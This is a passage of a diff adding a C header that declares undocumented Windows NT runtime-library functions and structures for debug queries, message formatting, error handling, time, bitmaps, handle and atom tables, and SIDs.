ViewBaseClient; + PVOID ViewBaseTarget; + ULONG_PTR ViewBaseDelta; + HANDLE EventPairClient; + HANDLE EventPairTarget; + HANDLE TargetProcessId; + HANDLE TargetThreadHandle; + ULONG Flags; + SIZE_T OffsetFree; + SIZE_T CommitSize; + SIZE_T ViewSize; + union + { + struct _RTL_PROCESS_MODULES* Modules; + struct _RTL_PROCESS_MODULE_INFORMATION_EX* ModulesEx; + }; + struct _RTL_PROCESS_BACKTRACES* BackTraces; + struct _RTL_PROCESS_HEAPS* Heaps; + struct _RTL_PROCESS_LOCKS* Locks; + PVOID SpecificHeap; + HANDLE TargetProcessHandle; + PRTL_PROCESS_VERIFIER_OPTIONS VerifierOptions; + PVOID ProcessHeap; + HANDLE CriticalSectionHandle; + HANDLE CriticalSectionOwnerThread; + PVOID Reserved[4]; +} RTL_DEBUG_INFORMATION, * PRTL_DEBUG_INFORMATION; + +NTSYSAPI +PRTL_DEBUG_INFORMATION +NTAPI +RtlCreateQueryDebugBuffer( + _In_opt_ ULONG MaximumCommit, + _In_ BOOLEAN UseEventPair +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyQueryDebugBuffer( + _In_ PRTL_DEBUG_INFORMATION Buffer +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +PVOID +NTAPI +RtlCommitDebugInfo( + _Inout_ PRTL_DEBUG_INFORMATION Buffer, + _In_ SIZE_T Size +); + +// private +NTSYSAPI +VOID +NTAPI +RtlDeCommitDebugInfo( + _Inout_ PRTL_DEBUG_INFORMATION Buffer, + _In_ PVOID p, + _In_ SIZE_T Size +); +#endif + +#define RTL_QUERY_PROCESS_MODULES 0x00000001 +#define RTL_QUERY_PROCESS_BACKTRACES 0x00000002 +#define RTL_QUERY_PROCESS_HEAP_SUMMARY 0x00000004 +#define RTL_QUERY_PROCESS_HEAP_TAGS 0x00000008 +#define RTL_QUERY_PROCESS_HEAP_ENTRIES 0x00000010 +#define RTL_QUERY_PROCESS_LOCKS 0x00000020 +#define RTL_QUERY_PROCESS_MODULES32 0x00000040 +#define RTL_QUERY_PROCESS_VERIFIER_OPTIONS 0x00000080 // rev +#define RTL_QUERY_PROCESS_MODULESEX 0x00000100 // rev +#define RTL_QUERY_PROCESS_HEAP_SEGMENTS 0x00000200 +#define RTL_QUERY_PROCESS_CS_OWNER 0x00000400 // rev +#define RTL_QUERY_PROCESS_NONINVASIVE 0x80000000 + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryProcessDebugInformation( + _In_ HANDLE UniqueProcessId, + _In_ ULONG Flags, + _Inout_ PRTL_DEBUG_INFORMATION Buffer +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlSetProcessDebugInformation( + _In_ HANDLE UniqueProcessId, + _In_ ULONG Flags, + _Inout_ PRTL_DEBUG_INFORMATION Buffer +); + +#endif // !_KERNEL_MODE + +// +// Messages +// + +#ifdef _KERNEL_MODE + +typedef struct _MESSAGE_RESOURCE_ENTRY { + USHORT Length; + USHORT Flags; + UINT8 Text[1]; +} MESSAGE_RESOURCE_ENTRY, * PMESSAGE_RESOURCE_ENTRY; + +#define MESSAGE_RESOURCE_UNICODE 0x0001 +#define MESSAGE_RESOURCE_UTF8 0x0002 + +typedef struct _MESSAGE_RESOURCE_BLOCK { + UINT32 LowId; + UINT32 HighId; + UINT32 OffsetToEntries; +} MESSAGE_RESOURCE_BLOCK, * PMESSAGE_RESOURCE_BLOCK; + +typedef struct _MESSAGE_RESOURCE_DATA { + UINT32 NumberOfBlocks; + MESSAGE_RESOURCE_BLOCK Blocks[1]; +} MESSAGE_RESOURCE_DATA, * PMESSAGE_RESOURCE_DATA; + +#endif // _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlFindMessage( + _In_ PVOID DllHandle, + _In_ ULONG MessageTableId, + _In_ ULONG MessageLanguageId, + _In_ ULONG MessageId, + _Out_ PMESSAGE_RESOURCE_ENTRY* MessageEntry +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlFormatMessage( + _In_ PWSTR MessageFormat, + _In_ ULONG MaximumWidth, + _In_ BOOLEAN IgnoreInserts, + _In_ BOOLEAN ArgumentsAreAnsi, + _In_ BOOLEAN ArgumentsAreAnArray, + _In_ va_list* Arguments, + _Out_writes_bytes_to_(Length, *ReturnLength) PWSTR Buffer, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength +); + +typedef struct _PARSE_MESSAGE_CONTEXT +{ + ULONG fFlags; + ULONG cwSavColumn; + SIZE_T iwSrc; + SIZE_T iwDst; + SIZE_T iwDstSpace; + va_list lpvArgStart; +} PARSE_MESSAGE_CONTEXT, * PPARSE_MESSAGE_CONTEXT; + +#define INIT_PARSE_MESSAGE_CONTEXT(ctx) { (ctx)->fFlags = 0; } +#define TEST_PARSE_MESSAGE_CONTEXT_FLAG(ctx, flag) ((ctx)->fFlags & (flag)) +#define SET_PARSE_MESSAGE_CONTEXT_FLAG(ctx, flag) ((ctx)->fFlags |= (flag)) +#define CLEAR_PARSE_MESSAGE_CONTEXT_FLAG(ctx, flag) ((ctx)->fFlags &= ~(flag)) + +NTSYSAPI +NTSTATUS +NTAPI +RtlFormatMessageEx( + _In_ PWSTR MessageFormat, + _In_ ULONG MaximumWidth, + _In_ BOOLEAN IgnoreInserts, + _In_ BOOLEAN ArgumentsAreAnsi, + _In_ BOOLEAN ArgumentsAreAnArray, + _In_ va_list* Arguments, + _Out_writes_bytes_to_(Length, *ReturnLength) PWSTR Buffer, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength, + _Out_opt_ PPARSE_MESSAGE_CONTEXT ParseContext +); + +#ifndef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetFileMUIPath( + _In_ ULONG Flags, + _In_ PCWSTR FilePath, + _Inout_opt_ PWSTR Language, + _Inout_ PULONG LanguageLength, + _Out_opt_ PWSTR FileMUIPath, + _Inout_ PULONG FileMUIPathLength, + _Inout_ PULONGLONG Enumerator +); + +#endif // !_KERNEL_MODE + +// +// Errors +// + +_IRQL_requires_max_(APC_LEVEL) +_When_(Status < 0, _Out_range_(> , 0)) +_When_(Status >= 0, _Out_range_(== , 0)) +NTSYSAPI +ULONG +NTAPI +RtlNtStatusToDosError( + _In_ NTSTATUS Status +); + +_When_(Status < 0, _Out_range_(> , 0)) +_When_(Status >= 0, _Out_range_(== , 0)) +NTSYSAPI +ULONG +NTAPI +RtlNtStatusToDosErrorNoTeb( + _In_ NTSTATUS Status +); + +#ifndef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetLastNtStatus( + VOID +); + +NTSYSAPI +LONG +NTAPI +RtlGetLastWin32Error( + VOID +); + +NTSYSAPI +VOID +NTAPI +RtlSetLastWin32ErrorAndNtStatusFromNtStatus( + _In_ NTSTATUS Status +); + +NTSYSAPI +VOID +NTAPI +RtlSetLastWin32Error( + _In_ LONG Win32Error +); + +NTSYSAPI +VOID +NTAPI +RtlRestoreLastWin32Error( + _In_ LONG Win32Error +); + +#define RTL_ERRORMODE_FAILCRITICALERRORS 0x0010 +#define RTL_ERRORMODE_NOGPFAULTERRORBOX 0x0020 +#define RTL_ERRORMODE_NOOPENFILEERRORBOX 0x0040 + +NTSYSAPI +ULONG +NTAPI +RtlGetThreadErrorMode( + VOID +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetThreadErrorMode( + _In_ ULONG NewMode, + _Out_opt_ PULONG OldMode +); + +#endif // !_KERNEL_MODE + +// +// Windows Error Reporting +// + +#ifndef _KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlReportException( + _In_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PCONTEXT ContextRecord, + _In_ ULONG Flags +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS1) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlReportExceptionEx( + _In_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PCONTEXT ContextRecord, + _In_ ULONG Flags, + _In_ PLARGE_INTEGER Timeout +); +#endif + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlWerpReportException( + _In_ ULONG ProcessId, + _In_ HANDLE CrashReportSharedMem, + _In_ ULONG Flags, + _Out_ PHANDLE CrashVerticalProcessHandle +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlReportSilentProcessExit( + _In_ HANDLE ProcessHandle, + _In_ NTSTATUS ExitStatus +); +#endif + +#endif // !_KERNEL_MODE + +// +// Random +// + +_IRQL_requires_max_(APC_LEVEL) +_Ret_range_(<= , MAXLONG) +NTSYSAPI +ULONG +NTAPI +RtlRandom( + _Inout_ PULONG Seed +); + +_IRQL_requires_max_(APC_LEVEL) +_Ret_range_(<= , MAXLONG) +NTSYSAPI +ULONG +NTAPI +RtlRandomEx( + _Inout_ PULONG Seed +); + +#ifndef _KERNEL_MODE + +NTSYSAPI +ULONG +NTAPI +RtlUniform( + _Inout_ PULONG Seed +); + +#define RTL_IMPORT_TABLE_HASH_REVISION 1 + +NTSYSAPI +NTSTATUS +NTAPI +RtlComputeImportTableHash( + _In_ HANDLE FileHandle, + _Out_writes_bytes_(16) PCHAR Hash, + _In_ ULONG ImportTableHashRevision // must be 1 +); + +#endif // !_KERNEL_MODE + +// +// Integer conversion +// + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlIntegerToChar( + _In_ ULONG Value, + _In_opt_ ULONG Base, + _In_ LONG OutputLength, // negative to pad to width + _Out_ PSTR String +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlCharToInteger( + _In_z_ PCSZ String, + _In_opt_ ULONG Base, + _Out_ PULONG Value +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlLargeIntegerToChar( + _In_ PLARGE_INTEGER Value, + _In_opt_ ULONG Base, + _In_ LONG OutputLength, + _Out_ PSTR String +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_At_(String->MaximumLength, _Const_) +NTSYSAPI +NTSTATUS +NTAPI +RtlIntegerToUnicodeString( + _In_ ULONG Value, + _In_opt_ ULONG Base, + _Inout_ PUNICODE_STRING String +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_At_(String->MaximumLength, _Const_) +NTSYSAPI +NTSTATUS +NTAPI +RtlInt64ToUnicodeString( + _In_ ULONGLONG Value, + _In_opt_ ULONG Base, + _Inout_ PUNICODE_STRING String +); + +#ifndef _KERNEL_MODE + +#ifdef _WIN64 +#define RtlIntPtrToUnicodeString(Value, Base, String) RtlInt64ToUnicodeString(Value, Base, String) +#else +#define RtlIntPtrToUnicodeString(Value, Base, String) RtlIntegerToUnicodeString(Value, Base, String) +#endif + +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToInteger( + _In_ PCUNICODE_STRING String, + _In_opt_ ULONG Base, + _Out_ PULONG Value +); + +NTSTATUS +RtlUnicodeStringToInt64( + _In_ PCUNICODE_STRING String, + _In_opt_ ULONG Base, + _Out_ PLONG64 Number, + _Out_opt_ PWSTR* EndPointer +); + +// +// IPv4/6 conversion +// +#include + +// +// Time +// + +#ifndef _KERNEL_MODE + +typedef struct _TIME_FIELDS +{ + CSHORT Year; // 1601... + CSHORT Month; // 1..12 + CSHORT Day; // 1..31 + CSHORT Hour; // 0..23 + CSHORT Minute; // 0..59 + CSHORT Second; // 0..59 + CSHORT Milliseconds; // 0..999 + CSHORT Weekday; // 0..6 = Sunday..Saturday +} TIME_FIELDS, * PTIME_FIELDS; + +NTSYSAPI +BOOLEAN +NTAPI +RtlCutoverTimeToSystemTime( + _In_ PTIME_FIELDS CutoverTime, + _Out_ PLARGE_INTEGER SystemTime, + _In_ PLARGE_INTEGER CurrentSystemTime, + _In_ BOOLEAN ThisYear +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSystemTimeToLocalTime( + _In_ PLARGE_INTEGER SystemTime, + _Out_ PLARGE_INTEGER LocalTime +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlLocalTimeToSystemTime( + _In_ PLARGE_INTEGER LocalTime, + _Out_ PLARGE_INTEGER SystemTime +); + +NTSYSAPI +VOID +NTAPI +RtlTimeToElapsedTimeFields( + _In_ PLARGE_INTEGER Time, + _Out_ PTIME_FIELDS TimeFields +); + +NTSYSAPI +VOID +NTAPI +RtlTimeToTimeFields( + _In_ PLARGE_INTEGER Time, + _Out_ PTIME_FIELDS TimeFields +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlTimeFieldsToTime( + _In_ PTIME_FIELDS TimeFields, // Weekday is ignored + _Out_ PLARGE_INTEGER Time +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlTimeToSecondsSince1980( + _In_ PLARGE_INTEGER Time, + _Out_ PULONG ElapsedSeconds +); + +NTSYSAPI +VOID +NTAPI +RtlSecondsSince1980ToTime( + _In_ ULONG ElapsedSeconds, + _Out_ PLARGE_INTEGER Time +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlTimeToSecondsSince1970( + _In_ PLARGE_INTEGER Time, + _Out_ PULONG ElapsedSeconds +); + +NTSYSAPI +VOID +NTAPI +RtlSecondsSince1970ToTime( + _In_ ULONG ElapsedSeconds, + _Out_ PLARGE_INTEGER Time +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +NTSYSAPI +ULONGLONG +NTAPI +RtlGetSystemTimePrecise( + VOID +); +#endif + +#endif // !_KERNEL_MODE + +// +// Time zones +// + +typedef struct _RTL_TIME_ZONE_INFORMATION +{ + LONG Bias; + WCHAR StandardName[32]; + TIME_FIELDS StandardStart; + LONG StandardBias; + WCHAR DaylightName[32]; + TIME_FIELDS DaylightStart; + LONG DaylightBias; +} RTL_TIME_ZONE_INFORMATION, * PRTL_TIME_ZONE_INFORMATION; + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryTimeZoneInformation( + _Out_ PRTL_TIME_ZONE_INFORMATION TimeZoneInformation +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetTimeZoneInformation( + _In_ PRTL_TIME_ZONE_INFORMATION TimeZoneInformation +); + +// +// Bitmaps +// + +// +// BitMap routines. The following structure, routines, and macros are +// for manipulating bitmaps. The user is responsible for allocating a bitmap +// structure (which is really a header) and a buffer (which must be longword +// aligned and multiple longwords in size). +// + +#ifndef _KERNEL_MODE + +typedef struct _RTL_BITMAP { + ULONG SizeOfBitMap; // Number of bits in bit map + PULONG Buffer; // Pointer to the bit map itself +} RTL_BITMAP; +typedef RTL_BITMAP* PRTL_BITMAP; + +#endif // !_KERNEL_MODE + +NTSYSAPI +VOID +NTAPI +RtlInitializeBitMap( + _Out_ PRTL_BITMAP BitMapHeader, + _In_opt_ __drv_aliasesMem PULONG BitMapBuffer, + _In_opt_ ULONG SizeOfBitMap +); + +NTSYSAPI +VOID +NTAPI +RtlClearBit( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(< , BitMapHeader->SizeOfBitMap) ULONG BitNumber +); + +NTSYSAPI +VOID +NTAPI +RtlSetBit( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(< , BitMapHeader->SizeOfBitMap) ULONG BitNumber +); + +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlTestBit( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(< , BitMapHeader->SizeOfBitMap) ULONG BitNumber +); + +NTSYSAPI +VOID +NTAPI +RtlClearAllBits( + _In_ PRTL_BITMAP BitMapHeader +); + +NTSYSAPI +VOID +NTAPI +RtlSetAllBits( + _In_ PRTL_BITMAP BitMapHeader +); + +// +// The following two routines locate a contiguous region of either +// clear or set bits within the bitmap. The region will be at least +// as large as the number specified, and the search of the bitmap will +// begin at the specified hint index (which is a bit index within the +// bitmap, zero based). The return value is the bit index of the located +// region (zero based) or -1 (i.e., 0xffffffff) if such a region cannot +// be located +// + +_Success_(return != -1) +_Ret_range_(<= , BitMapHeader->SizeOfBitMap - NumberToFind) +_Must_inspect_result_ +NTSYSAPI +ULONG +NTAPI +RtlFindClearBits( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG NumberToFind, + _In_ ULONG HintIndex +); + +_Success_(return != -1) +_Ret_range_(<= , BitMapHeader->SizeOfBitMap - NumberToFind) +_Must_inspect_result_ +NTSYSAPI +ULONG +NTAPI +RtlFindSetBits( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG NumberToFind, + _In_ ULONG HintIndex +); + +// +// The following two routines locate a contiguous region of either +// clear or set bits within the bitmap and either set or clear the bits +// within the located region. The region will be as large as the number +// specified, and the search for the region will begin at the specified +// hint index (which is a bit index within the bitmap, zero based). The +// return value is the bit index of the located region (zero based) or +// -1 (i.e., 0xffffffff) if such a region cannot be located. If a region +// cannot be located then the setting/clearing of the bitmap is not performed. +// + +_Success_(return != -1) +_Ret_range_(<= , BitMapHeader->SizeOfBitMap - NumberToFind) +NTSYSAPI +ULONG +NTAPI +RtlFindClearBitsAndSet( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG NumberToFind, + _In_ ULONG HintIndex +); + +_Success_(return != -1) +_Ret_range_(<= , BitMapHeader->SizeOfBitMap - NumberToFind) +NTSYSAPI +ULONG +NTAPI +RtlFindSetBitsAndClear( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG NumberToFind, + _In_ ULONG HintIndex +); + +NTSYSAPI +VOID +NTAPI +RtlClearBits( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(0, BitMapHeader->SizeOfBitMap - NumberToClear) ULONG StartingIndex, + _In_range_(0, BitMapHeader->SizeOfBitMap - StartingIndex) ULONG NumberToClear +); + +NTSYSAPI +VOID +NTAPI +RtlSetBits( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(0, BitMapHeader->SizeOfBitMap - NumberToSet) ULONG StartingIndex, + _In_range_(0, BitMapHeader->SizeOfBitMap - StartingIndex) ULONG NumberToSet +); + +// +// The following routine locates a set of contiguous regions of clear +// bits within the bitmap. The caller specifies whether to return the +// longest runs or just the first found lcoated. The following structure is +// used to denote a contiguous run of bits. The two routines return an array +// of this structure, one for each run located. +// + +#ifndef _KERNEL_MODE + +typedef struct _RTL_BITMAP_RUN { + + ULONG StartingIndex; + ULONG NumberOfBits; + +} RTL_BITMAP_RUN; +typedef RTL_BITMAP_RUN* PRTL_BITMAP_RUN; + +#endif // !_KERNEL_MODE + +NTSYSAPI +ULONG +NTAPI +RtlFindClearRuns( + _In_ PRTL_BITMAP BitMapHeader, + _Out_writes_to_(SizeOfRunArray, return) PRTL_BITMAP_RUN RunArray, + _In_range_(> , 0) ULONG SizeOfRunArray, + _In_ BOOLEAN LocateLongestRuns +); + +NTSYSAPI +ULONG +NTAPI +RtlFindLongestRunClear( + _In_ PRTL_BITMAP BitMapHeader, + _Out_ PULONG StartingIndex +); + +NTSYSAPI +ULONG +NTAPI +RtlFindFirstRunClear( + _In_ PRTL_BITMAP BitMapHeader, + _Out_ PULONG StartingIndex +); + +#ifndef _KERNEL_MODE + +_Must_inspect_result_ +FORCEINLINE +BOOLEAN +RtlCheckBit( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(< , BitMapHeader->SizeOfBitMap) ULONG BitPosition +) +{ +#ifdef _WIN64 + return BitTest64((LONG64 const*)BitMapHeader->Buffer, (LONG64)BitPosition); +#else + return (((PLONG)BitMapHeader->Buffer)[BitPosition / 32] >> (BitPosition % 32)) & 0x1; +#endif +} + +#endif // !_KERNEL_MODE + + +#if (NTDDI_VERSION >= NTDDI_WIN8) +NTSYSAPI +ULONG +NTAPI +RtlNumberOfClearBitsInRange( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG StartingIndex, + _In_ ULONG Length +); + +NTSYSAPI +ULONG +NTAPI +RtlNumberOfSetBitsInRange( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG StartingIndex, + _In_ ULONG Length +); +#endif + +NTSYSAPI +ULONG +NTAPI +RtlNumberOfClearBits( + _In_ PRTL_BITMAP BitMapHeader +); + +NTSYSAPI +ULONG +NTAPI +RtlNumberOfSetBits( + _In_ PRTL_BITMAP BitMapHeader +); + +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlAreBitsClear( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG StartingIndex, + _In_ ULONG Length +); + +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlAreBitsSet( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG StartingIndex, + _In_ ULONG Length +); + +NTSYSAPI +ULONG +NTAPI +RtlFindNextForwardRunClear( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG FromIndex, + _Out_ PULONG StartingRunIndex +); + +NTSYSAPI +ULONG +NTAPI +RtlFindLastBackwardRunClear( + _In_ PRTL_BITMAP BitMapHeader, + _In_ ULONG FromIndex, + _Out_ PULONG StartingRunIndex +); + +_Success_(return != -1) +_Must_inspect_result_ +NTSYSAPI +CCHAR +NTAPI +RtlFindLeastSignificantBit( + _In_ ULONGLONG Set +); + +_Success_(return != -1) +_Must_inspect_result_ +NTSYSAPI +CCHAR +NTAPI +RtlFindMostSignificantBit( + _In_ ULONGLONG Set +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +ULONG +NTAPI +RtlNumberOfSetBitsUlongPtr( + _In_ ULONG_PTR Target +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN8) +NTSYSAPI +VOID +NTAPI +RtlCopyBitMap( + _In_ PRTL_BITMAP Source, + _In_ PRTL_BITMAP Destination, + _In_range_(0, Destination->SizeOfBitMap - 1) ULONG TargetBit +); + +NTSYSAPI +VOID +NTAPI +RtlExtractBitMap( + _In_ PRTL_BITMAP Source, + _In_ PRTL_BITMAP Destination, + _In_range_(0, Source->SizeOfBitMap - 1) ULONG TargetBit, + _In_range_(0, Source->SizeOfBitMap) ULONG NumberOfBits +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +NTSYSAPI +VOID +NTAPI +RtlInterlockedClearBitRun( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(0, BitMapHeader->SizeOfBitMap - NumberToClear) ULONG StartingIndex, + _In_range_(0, BitMapHeader->SizeOfBitMap - StartingIndex) ULONG NumberToClear +); + +// rev +NTSYSAPI +VOID +NTAPI +RtlInterlockedSetBitRun( + _In_ PRTL_BITMAP BitMapHeader, + _In_range_(0, BitMapHeader->SizeOfBitMap - NumberToSet) ULONG StartingIndex, + _In_range_(0, BitMapHeader->SizeOfBitMap - StartingIndex) ULONG NumberToSet +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10) +// private +typedef struct _RTL_BITMAP_EX +{ + ULONG64 SizeOfBitMap; + PULONG64 Buffer; +} RTL_BITMAP_EX, * PRTL_BITMAP_EX; + +// rev +NTSYSAPI +VOID +NTAPI +RtlInitializeBitMapEx( + _Out_ PRTL_BITMAP_EX BitMapHeader, + _In_ PULONG64 BitMapBuffer, + _In_ ULONG64 SizeOfBitMap +); + +// rev +_Check_return_ +NTSYSAPI +BOOLEAN +NTAPI +RtlTestBitEx( + _In_ PRTL_BITMAP_EX BitMapHeader, + _In_range_(< , BitMapHeader->SizeOfBitMap) ULONG64 BitNumber +); +#endif + +// +// Handle tables +// + +#ifndef _KERNEL_MODE + +typedef struct _RTL_HANDLE_TABLE_ENTRY +{ + union + { + ULONG Flags; // allocated entries have the low bit set + struct _RTL_HANDLE_TABLE_ENTRY* NextFree; + }; +} RTL_HANDLE_TABLE_ENTRY, * PRTL_HANDLE_TABLE_ENTRY; + +#define RTL_HANDLE_ALLOCATED (USHORT)0x0001 + +typedef struct _RTL_HANDLE_TABLE +{ + ULONG MaximumNumberOfHandles; + ULONG SizeOfHandleTableEntry; + ULONG Reserved[2]; + PRTL_HANDLE_TABLE_ENTRY FreeHandles; + PRTL_HANDLE_TABLE_ENTRY CommittedHandles; + PRTL_HANDLE_TABLE_ENTRY UnCommittedHandles; + PRTL_HANDLE_TABLE_ENTRY MaxReservedHandles; +} RTL_HANDLE_TABLE, * PRTL_HANDLE_TABLE; + +NTSYSAPI +VOID +NTAPI +RtlInitializeHandleTable( + _In_ ULONG MaximumNumberOfHandles, + _In_ ULONG SizeOfHandleTableEntry, + _Out_ PRTL_HANDLE_TABLE HandleTable +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyHandleTable( + _Inout_ PRTL_HANDLE_TABLE HandleTable +); + +NTSYSAPI +PRTL_HANDLE_TABLE_ENTRY +NTAPI +RtlAllocateHandle( + _In_ PRTL_HANDLE_TABLE HandleTable, + _Out_opt_ PULONG HandleIndex +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlFreeHandle( + _In_ PRTL_HANDLE_TABLE HandleTable, + _In_ PRTL_HANDLE_TABLE_ENTRY Handle +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsValidHandle( + _In_ PRTL_HANDLE_TABLE HandleTable, + _In_ PRTL_HANDLE_TABLE_ENTRY Handle +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsValidIndexHandle( + _In_ PRTL_HANDLE_TABLE HandleTable, + _In_ ULONG HandleIndex, + _Out_ PRTL_HANDLE_TABLE_ENTRY* Handle +); + +#endif // !_KERNEL_MODE + +// +// Atom tables +// + +#define RTL_ATOM_MAXIMUM_INTEGER_ATOM (RTL_ATOM)0xC000 +#define RTL_ATOM_INVALID_ATOM (RTL_ATOM)0x0000 +#define RTL_ATOM_TABLE_DEFAULT_NUMBER_OF_BUCKETS 37 +#define RTL_ATOM_MAXIMUM_NAME_LENGTH 255 +#define RTL_ATOM_PINNED 0x01 + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateAtomTable( + _In_ ULONG NumberOfBuckets, + _Out_ PVOID* AtomTableHandle +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyAtomTable( + _In_ _Post_invalid_ PVOID AtomTableHandle +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlEmptyAtomTable( + _In_ PVOID AtomTableHandle, + _In_ BOOLEAN IncludePinnedAtoms +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAtomToAtomTable( + _In_ PVOID AtomTableHandle, + _In_ PWSTR AtomName, + _Inout_opt_ PRTL_ATOM Atom +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlLookupAtomInAtomTable( + _In_ PVOID AtomTableHandle, + _In_ PWSTR AtomName, + _Out_opt_ PRTL_ATOM Atom +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteAtomFromAtomTable( + _In_ PVOID AtomTableHandle, + _In_ RTL_ATOM Atom +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlPinAtomInAtomTable( + _In_ PVOID AtomTableHandle, + _In_ RTL_ATOM Atom +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryAtomInAtomTable( + _In_ PVOID AtomTableHandle, + _In_ RTL_ATOM Atom, + _Out_opt_ PULONG AtomUsage, + _Out_opt_ PULONG AtomFlags, + _Inout_updates_bytes_to_opt_(*AtomNameLength, *AtomNameLength) PWSTR AtomName, + _Inout_opt_ PULONG AtomNameLength +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlGetIntegerAtom( + _In_ PWSTR AtomName, + _Out_opt_ PUSHORT IntegerAtom +); +#endif + +// +// SIDs +// + +_IRQL_requires_max_(APC_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlValidSid( + _In_ PSID Sid +); + +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualSid( + _In_ PSID Sid1, + _In_ PSID Sid2 +); + +_IRQL_requires_max_(APC_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualPrefixSid( + _In_ PSID Sid1, + _In_ PSID Sid2 +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +ULONG +NTAPI +RtlLengthRequiredSid( + _In_ ULONG SubAuthorityCount +); + +NTSYSAPI +PVOID +NTAPI +RtlFreeSid( + _In_ _Post_invalid_ PSID Sid +); + +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlAllocateAndInitializeSid( + _In_ PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + _In_ UCHAR SubAuthorityCount, + _In_ ULONG SubAuthority0, + _In_ ULONG SubAuthority1, + _In_ ULONG SubAuthority2, + _In_ ULONG SubAuthority3, + _In_ ULONG SubAuthority4, + _In_ ULONG SubAuthority5, + _In_ ULONG SubAuthority6, + _In_ ULONG SubAuthority7, + _Outptr_ PSID* Sid +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlAllocateAndInitializeSidEx( + _In_ PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + _In_ UCHAR SubAuthorityCount, + _In_reads_(SubAuthorityCount) PULONG SubAuthorities, + _Outptr_ PSID* Sid +); +#endif // NTDDI_VERSION >= NTDDI_WIN8 + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlInitializeSid( + _Out_ PSID Sid, + _In_ PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + _In_ UCHAR SubAuthorityCount +); + 